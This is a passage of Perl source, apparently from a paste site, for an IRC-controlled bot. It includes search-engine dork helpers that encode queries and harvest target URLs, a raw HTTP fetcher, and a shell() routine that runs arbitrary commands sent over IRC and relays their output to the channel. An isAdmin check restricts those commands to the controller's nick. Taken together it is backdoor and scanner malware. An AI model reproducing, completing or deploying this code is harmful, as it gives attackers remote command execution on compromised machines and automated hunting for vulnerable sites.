- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google3/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- #########################################
- sub clean() {
- my @cln = ();
- my %visit = ();
- foreach my $element (@_) {
- $element =~ s/\/+/\//g;
- next if $visit{$element}++;
- push @cln, $element;
- }
- return @cln;
- }
- sub key() {
- my $dork = $_[0];
- $dork =~ s/ /\+/g;
- $dork =~ s/:/\%3A/g;
- $dork =~ s/\//\%2F/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/&/\%26/g;
- $dork =~ s/\"/\%22/g;
- $dork =~ s/,/\%2C/g;
- $dork =~ s/\\/\%5C/g;
- $dork =~ s/@/\%40/g;
- $dork =~ s/\[/\%5B/g;
- $dork =~ s/\]/\%5D/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/\=/\%3D/g;
- $dork =~ s/\|/\%7C/g;
- return $dork;
- }
- sub links() {
- my @list;
- my $link = $_[0];
- my $host = $_[0];
- my $hdir = $_[0];
- $hdir =~ s/(.*)\/[^\/]*$/$1/;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $host .= "/";
- $link .= "/";
- $hdir .= "/";
- $host =~ s/\/\//\//g;
- $hdir =~ s/\/\//\//g;
- $link =~ s/\/\//\//g;
- push(@list,$link,$host,$hdir);
- return @list;
- }
- sub search_engine_query($) {
- my $url = $_[0];
- $url =~ s/http:\/\///;
- my $host = $url;
- my $query = $url;
- my $page = "";
- $host =~ s/href=\"?http:\/\///;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query =~ s/$host//;
- if ($query eq "") { $query = "/"; }
- eval {
- my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
- print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
- my @pages = <$sock>;
- $page = "@pages";
- close($sock);
- };
- return $page;
- }
- #########################################
- sub shell() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($cmd =~ /cd (.*)/) {
- chdir("$1") || &msg("$path","4,1No such file or directory");
- return;
- }
- elsif ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- my @output = `$cmd 2>&1 3>&1`;
- my $c = 0;
- foreach my $output (@output) {
- $c++;
- chop $output;
- &msg("$path","$output");
- if ($c == 5) { $c = 0; sleep 2; }
- }
- exit;
- }}
- }
- sub isAdmin() {
- my $status = 0;
- my $nick = $_[0];
- if ($nick eq $admin) { $status = 1; }
- return $status;
- }
- sub msg() {
- return unless $#_ == 1;
- sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
- }
- sub nick() {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
- sub notice() {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement